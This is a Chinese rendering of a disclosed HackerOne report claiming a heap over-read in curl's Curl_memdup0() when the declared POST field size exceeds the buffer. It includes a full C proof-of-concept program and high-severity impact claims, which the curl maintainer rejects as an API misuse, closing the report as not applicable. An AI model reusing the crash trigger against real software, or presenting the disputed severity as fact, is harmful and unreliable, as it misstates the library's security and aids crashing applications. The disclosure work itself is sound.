堆缓冲区溢出在Curl_memdup0()中通过CURLOPT_COPYPOSTFIELDS/CURLOPT_POSTFIELDSIZE不匹配触发 | HackerOne报告 #3292590
摘要
本报告展示了Curl_memdup0()中的一个堆缓冲区溢出漏洞,当在CURLOPT_POSTFIELDSIZE设置为大于实际缓冲区长度的值后调用CURLOPT_COPYPOSTFIELDS时触发。
虽然这可能被视为API契约违规,但结果行为不仅仅是“未定义”,而是在广泛部署的网络库中可预测地可利用的内存损坏。实际上,POST数据长度值可能来自不可信来源,例如:
- 高层协议中的长度字段
- 代理或网关场景中用户控制的输入
- 在不同组件之间数据编组时,大小和缓冲区分别提供的情况
恶意行为者不需要是开发者即可利用此漏洞;他们只需要在使用CURLOPT_COPYPOSTFIELDS的集成中影响大小参数。
健壮、注重安全的库应防御常见误用,特别是当误用在运行时可以轻松检测到时。在Curl_memdup0()中添加边界检查(例如,在memcpy之前验证缓冲区长度)将防止堆内存泄露、应用程序崩溃或潜在代码执行,并且不会破坏正确的API使用。
在安全方面:
- 漏洞类别:堆缓冲区溢出
- 影响:信息泄露、拒绝服务、通过堆整形可能实现远程代码执行
- 根本原因:当大小参数大于提供的数据时,Curl_memdup0()中没有边界验证
- 修复类别:在memcpy之前进行防御性长度验证
调用者错误不应转化为安全关键库中攻击者控制的堆溢出。
时间线
- geeknik 向curl提交报告(4天前)
- bagder(curl工作人员)发表评论(3天前):这是一个API违规。此外,curl无法知道“真实”大小。
- geeknik 关闭报告并将状态更改为不适用(3天前)
- geeknik 请求披露此报告(3天前):调用者错误不应转化为安全关键库中攻击者控制的堆溢出。让我们披露。
- bagder(curl工作人员)同意披露此报告(3天前)
- 此报告已披露(3天前)
漏洞详情
libcurl的Curl_memdup0()函数在处理CURLOPT_COPYPOSTFIELDS操作时存在堆缓冲区溢出漏洞。当libcurl内部处理POST数据,其中指定的CURLOPT_POSTFIELDSIZE超过通过CURLOPT_COPYPOSTFIELDS设置的数据的实际缓冲区大小时,会发生此漏洞。这是一个libcurl应该安全处理的合法用例,但目前导致越界内存访问。
POC环境
- libcurl版本:8.16.0-DEV(master分支)
- 编译器:带有地址清理器的Clang 20.1.8
- 操作系统:MacOS 26 Dev Beta 5
编译命令:gcc -fsanitize=address -g -o poc poc.c -lcurl
POC代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#define ACTUAL_SIZE 105
#define CLAIMED_SIZE 976909154L
int main(void) {
printf("[+] libcurl Heap Buffer Overflow PoC\n");
printf("[+] CURLOPT_COPYPOSTFIELDS vulnerability reproduction\n\n");
/* 初始化libcurl */
curl_global_init(CURL_GLOBAL_ALL);
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "[!] Failed to initialize curl\n");
return 1;
}
printf("[+] libcurl initialized successfully\n");
/* 关键:在堆上分配缓冲区,而不是栈 */
char *heap_buffer = (char *)malloc(ACTUAL_SIZE);
if(!heap_buffer) {
fprintf(stderr, "[!] Failed to allocate heap buffer\n");
curl_easy_cleanup(curl);
return 1;
}
/* 填充测试数据 */
memset(heap_buffer, 'A', ACTUAL_SIZE - 1);
heap_buffer[ACTUAL_SIZE - 1] = '\0';
printf("[+] Allocated HEAP buffer: %d bytes at %p\n", ACTUAL_SIZE, (void*)heap_buffer);
printf("[+] Buffer content: \"%.50s...\"\n", heap_buffer);
/* 设置基本URL(实际上不会连接) */
curl_easy_setopt(curl, CURLOPT_URL, "http://example.com");
/* 设置POST模式 */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
/* 漏洞触发 - 设置大小远大于实际缓冲区 */
printf("[+] Setting CURLOPT_POSTFIELDSIZE to: %ld bytes\n", CLAIMED_SIZE);
CURLcode res = curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, CLAIMED_SIZE);
if(res != CURLE_OK) {
fprintf(stderr, "[!] Failed to set POSTFIELDSIZE: %s\n", curl_easy_strerror(res));
free(heap_buffer);
curl_easy_cleanup(curl);
return 1;
}
printf("[+] CURLOPT_POSTFIELDSIZE set successfully\n");
/* 触发堆缓冲区溢出 */
printf("[+] Calling CURLOPT_COPYPOSTFIELDS with %d-byte heap buffer...\n", ACTUAL_SIZE);
printf("[!] This should trigger HEAP buffer overflow in Curl_memdup0()\n");
printf("[!] AddressSanitizer should detect out-of-bounds read on HEAP\n\n");
/* 这将导致Curl_memdup0()从ACTUAL_SIZE缓冲区读取CLAIMED_SIZE字节 */
res = curl_easy_setopt(curl, CURLOPT_COPYPOSTFIELDS, heap_buffer);
if(res == CURLE_OK) {
printf("[?] CURLOPT_COPYPOSTFIELDS succeeded (unexpected if ASAN enabled)\n");
printf("[?] The overflow may have occurred silently\n");
} else {
printf("[!] CURLOPT_COPYPOSTFIELDS failed: %s\n", curl_easy_strerror(res));
}
/* 清理 */
free(heap_buffer);
curl_easy_cleanup(curl);
curl_global_cleanup();
printf("[+] If you see this, the overflow was not detected\n");
printf("[!] Run with AddressSanitizer: gcc -fsanitize=address poc.c -lcurl\n");
return 0;
}
|
漏洞代码路径
- CURLOPT_POSTFIELDSIZE设置为976909154
- CURLOPT_COPYPOSTFIELDS给定105字节缓冲区
- Curl_memdup0()盲目信任大小参数
- 没有验证大小是否与实际缓冲区匹配
检测:使用地址清理器编译(-fsanitize=address)以观察堆缓冲区溢出。
影响
严重性:高
安全影响:
- 信息泄露:越界读取暴露相邻堆内存内容
- 潜在远程代码执行:堆布局操作可能在特定场景中启用代码执行
- 拒绝服务:内存访问违规导致应用程序崩溃
- 数据损坏:堆元数据损坏影响应用程序稳定性
攻击场景:
- 接受用户控制的POST数据大小的应用程序
- 处理不可信HTTP POST参数的网络服务
- 攻击者可以影响POST数据和大小参数的任何应用程序
现实世界相关性:
这影响合法用例,其中应用程序可能:
- 根据协议要求截断或填充POST数据
- 处理具有固定大小标头的可变长度内容
- 处理具有长度前缀的网络协议
报告详情
- 报告ID:#3292590
- 严重性:高(7 ~ 8.9)
- 披露时间:2025年8月9日,下午1点UTC
- 弱点:缓冲区过度读取
- CVE ID:无
- 赏金:隐藏